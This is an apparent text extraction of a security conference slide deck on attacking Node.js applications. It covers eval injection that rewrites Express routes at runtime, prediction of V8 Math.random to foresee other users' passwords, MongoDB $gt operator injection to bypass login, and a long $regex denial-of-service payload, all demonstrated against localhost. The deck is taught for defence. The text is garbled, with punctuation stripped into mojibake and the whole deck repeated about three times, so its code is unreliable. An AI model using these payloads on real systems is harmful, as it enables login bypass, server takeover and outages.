Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 8: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 9: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 10: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

